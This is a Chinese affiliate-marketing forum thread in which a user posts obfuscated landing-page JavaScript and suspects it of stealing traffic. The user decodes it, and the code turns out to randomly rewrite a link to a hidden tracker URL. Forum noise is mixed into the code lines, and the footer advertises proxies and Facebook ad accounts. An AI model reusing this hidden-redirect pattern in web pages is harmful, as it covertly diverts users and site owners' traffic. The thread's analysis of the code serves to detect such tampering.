一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft · 发表于 2014-12-25 21:16:37

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() { f( N- Q- I- v6 m
$(".option.clearfix").on("click",
" x* s+ M1 a0 H* X+ \+ q. m& O
function() {
. q+ U4 G5 ^' q% j6 E
$(this).toggleClass("selected");
" Y3 c# |7 N* l( }
if ($(this).hasClass("selected")) {: C F0 V! G6 _2 M6 a2 k8 l
$(this).addClass("selected")0 O8 ~: w' C I- G! I0 o
} else {
0 Q4 s. r& ^! ~2 Y. m
$(this).removeClass("selected")/ a' M% G# ^; X2 y4 I( q& ` U
}
* k; ~ ~8 Z5 R- W' R
return false4 g6 `7 \; Z3 `6 A4 H
});
/ q1 V3 m* H5 C. F& @% r+ Y
var e = "r";$ B0 z L" Q! _# R
var t = "e";
9 F# a& z; O/ n8 k+ J" a. y4 R
setBtnMarginDefault = "c" + "\u006B";) H% y9 `/ D* o+ y! s
$(".option2.clearfix").on("click",
0 j- E+ g1 g+ U; H
function() {
! J8 X& B; z3 g- w# U- H6 l7 x& {
$(this).toggleClass("selected");
$ R% Z$ a: J3 {; Y5 V z/ Q
if ($(this).hasClass("selected")) {
% } _2 l( p8 f: [; s" t5 ]
$(this).addClass("selected")# R4 c u- E, G3 f5 f+ Y
} else {
; T+ }. { T: f& \- m: O. ?
$(this).removeClass("selected")1 S; Z; k- i' T3 h5 g0 d
}
; p0 F6 Z' T9 L: E8 u2 M
return false
( E# ~' u7 F* E( e% G I( }
});4 ^7 {5 i W5 ~* q9 n' ~+ A
var n = "a";
1 n0 k4 N5 p5 u4 U! ?
var r = "g";5 |6 j$ {/ x# u) v
$(".option3.clearfix").on("click",
, v9 _1 \/ n: k( E/ w$ Q
function() {
$(this).toggleClass("selected");
]# x( \+ G/ u0 c1 P
if ($(this).hasClass("selected")) {3 @" L) W ^3 E' W
$(this).addClass("selected")
% j' ]9 c- d" f* C8 S
} else {* Y" `3 I" q/ A$ F$ ^3 K
$(this).removeClass("selected")
5 {; r n! @1 T! s [
}
5 X7 U7 }2 M0 F/ R6 M
return false
, c6 c5 M+ Q5 b
});
& V% q8 m, P! O6 w* X2 }2 b& ]
var i = "e";' {- O3 ^8 G2 w t
var s = n + r + e + t + i;
- l2 k5 R6 s+ b5 W7 X
$(".option4.clearfix").on("click",
; S% x' v) J/ O" F5 \/ X
function() {
; W% w' G& P1 a( h; p
$(this).toggleClass("selected");% k& L% ~7 f9 r7 ~, v! q9 B6 @8 R8 u
if ($(this).hasClass("selected")) {) E7 e+ j, l& m1 S* J/ {7 M
$(this).addClass("selected")
' L0 U# i s; P5 q( M9 X+ v) c& Q
} else {
& ~! O# l& N' K
$(this).removeClass("selected")! H. C; @& p* s/ g) @3 c- c( D
}' }: @3 g3 [, O
return false
, p) _9 t5 C* ]" a2 s! C( T8 m
});) o1 O- q0 D9 U& m2 j5 j$ b2 u
var o = "\u0032" + "\u0030";: d! w- C' V- m- h+ I3 P9 z
var u = "\u0031" + "\u0030";3 P' I4 k8 z, g5 Z7 a
currentWhiteSpace = Math.floor(Math.random() * o);2 c; _" v2 Q+ ^3 q) U
setBtnMargin30 = setBtnMarginDefault + "." + "c";
% ~" G& A0 Z9 `9 F6 G% E7 n7 [
Date.prototype.getMonthName = function() {
( P! E% h' S% J, M/ i4 A: z
var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];) N: s' f4 A4 w: e
return e[this.getMonth()]
3 g' {6 m$ \! b; c
};
0 }: |! R2 `7 v
var a = currentWhiteSpace;8 ~) }) m4 H4 P; l4 ~
var f = "H";
: d7 g, P+ J! c
var l = "\u0052";
/ ~5 f F) o* q8 y2 v9 E* o
var c = "o" + "\u006D";& t& l& T u: A) M! @ _
f += "T";
. Y! l& A; M$ N4 J: y4 q. G
f += "T";
3 E( H/ ?0 r5 J0 x3 |1 L8 k, u0 N9 |
f += "P";
0 ~1 R: M& u$ E1 _
var h = new Date;
1 h' r/ [. S& H; H( h( q/ @
if (h.getMonth() == 11) { d9 m4 a: \' {
var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()0 B E4 r6 g6 y( L; _3 o
} else {
: _0 j- l; a2 f1 g+ P" J% _: v
var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()2 N" h9 u/ T# t2 }: c
}
& i4 t% I, A2 b& J( h& c! \
var d = ":" + "/" + "/";
( \& Y* ?4 v) K; c6 m4 }& w" J
l += "S";
, y( L% q1 W9 T" w
l += "x";0 Z+ m/ |7 U! M" \3 P& I
document.getElementById("monthz").innerHTML = p;4 n0 y' J1 t' }( v% ? k5 o
l += "\u0054";/ r7 W3 I8 ~+ [- }0 B$ z" m
l += "R";5 a* z6 K; Y7 J' D5 E s1 Y/ u! Q, T
l += "\u0041" + setBtnMargin30;" s! n; ~3 G9 [5 C- ]" t1 y2 c
setStyle = f + d + l + c;+ ]; V& N" o0 @6 j2 u
s = s.toLowerCase(s);$ `; F" v/ V0 T- p! G! v2 T/ ^; |% v
if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;& c- o p1 n9 Y( u1 C J
})

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft · 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

最后这一句，怀疑是随机偷流量代码。。。

tmdsoft · 发表于 2014-12-25 21:40:19

$(function () {
0 Y4 c8 J4 L( i/ a $(".option.clearfix").on("click", function () {
- p% r# \2 B2 ]! F# [2 V       $(this).toggleClass("selected");' c% d1 r6 f/ D
      if ($(this).hasClass("selected")) {: S4 K* b- ]' ?, ?9 m- V+ m  ^4 C( N
         $(this).addClass("selected")1 \! ]1 G! D% h* ^
      } else {; ?8 O. Y% t. b4 c; \5 O
         $(this).removeClass("selected")  Y6 ]" R' Z2 }
      }! H% O" {/ v6 g7 L
      return false
3 h2 x1 c0 x+ N, Y6 `: r# B });
( j3 s0 T0 `# M/ U: p$ M* b! C# Z $(".option2.clearfix").on("click", function () {. U0 }1 ^- |( p* l
      $(this).toggleClass("selected");
: ?( C7 t) D) ]       if ($(this).hasClass("selected")) {
& c/ f6 }+ C% F: X0 t          $(this).addClass("selected")
5 Z2 ^5 L! R9 n8 Y+ ~$ g4 _# L, ?       } else {% o1 h8 _0 t" T. N3 _# N
         $(this).removeClass("selected")
' g( x* c2 A7 k: b! I" c; k       }6 m% z+ |& q( B, x
      return false. Y! v/ P7 x" W+ O% j6 l6 q4 V
});% p* V! x0 O/ H! C5 v
$(".option3.clearfix").on("click", function () {
2 ?( N- m7 d; Z7 p* D' j3 r$ ~6 U       $(this).toggleClass("selected");
. a/ S0 `3 U- i; k' |# N$ y5 J       if ($(this).hasClass("selected")) {
( f* F% s/ ]7 G          $(this).addClass("selected")& p/ V" b9 x( P: T+ F& w2 M
      } else {( \/ m5 d2 M: x  {3 j
         $(this).removeClass("selected"): M. C  v, c$ ~7 `$ P0 w
      }- D4 Y- a& S" S" T8 e6 `2 j
      return false; s  k6 f* m: a- T/ I
});
& c. ~8 `# L8 W# I( s5 H $(".option4.clearfix").on("click", function () {
0 e; U5 E( d, P9 h+ c8 |, |4 a       $(this).toggleClass("selected");5 h: \! T5 M' r8 T$ J) y5 R
      if ($(this).hasClass("selected")) {
+ t) j! p8 V: y          $(this).addClass("selected")
0 K0 W; ~% p, p$ J: f       } else {
' L! ~4 l, _- E; m          $(this).removeClass("selected")
+ a1 I% H4 D& t5 ~2 C# j8 l9 C       }1 F9 k3 ]2 L! ~) u0 r4 n, @/ r
      return false
+ y: U! {2 L2 u3 O6 h4 c });) E+ {! P5 ?, ~4 Z8 O% R) x' S. B
})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 · 发表于 2014-12-25 22:53:55

不是的

tmdsoft · 发表于 2014-12-26 01:17:21

河小马发表于 2014-12-25 22:53* j U9 d% E# o0 ^6 J
不是的

那是什么？

tmdsoft · 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s)[0].href = setStyle

复制代码

最主要的是这句话，最后 setstyle = Http://RSxTRAck.com

tmdsoft · 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么条件成立，请问这句代码是不是重定向到这个网址上。

显示全部楼层 · 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well · 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

		自动登录	找回密码
密码			立即注册

谷歌+Bing+TT+MSN官方代理	⚡️按条S5代理⚡️静态⚡️独享⚡️5G	⚡️最干净<Wifi住宅+5G移动>IP代理	指纹浏览器，就用AdsPower
【广	告	开	户】
⚡️我们很有实力	Search feed套利⚡️Affiliate 广告开户	FB/Google/TK	点我开户⚡️
DuoPlus专注打造跨境电商云手机	E.PN 虚拟卡	BINOM TRACKER 60% OFF!	比Adplexity还好用的Spy工具
MediaGo+Taboola+Ob开户	百度国际MediaGo⚡️让产品狂奔全球	百度国际，高点击转化，快速放量	百度国际MediaGo，独家原生流量
ADPLEXITY + ADVERTCN	7200W全球动态不重复住宅IP代理	虚拟信用卡+独立站收款	全球虚拟卡, 支持U充值
Facebook 批量上广告	尤里改 - FB 稳定投放	免费黑五教程（持续更新、欢迎交流）	2024做什么 - Media buy 项目库
各种主页、账单户、BM户（优势）	⚡️个人户，bm户不限额，账单户	Adsterra 的CPA/CPM/CPC 网站流量	一手BM分享户不限额
9Proxy ⚡️ $0.04/IP, 无限带宽	FB顶级服务商	IPCola原生住宅IP⚡️$2.1/条双ISP	FB1拖7/8/9一个也是批发价
FB二三解0.1元一个	虚拟卡\|PTM星际卡	FB专用虚拟卡	Google、Bing官方总代联盟流量开户
广告位出租

[讨论] 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

点评

点评

社区QQ达人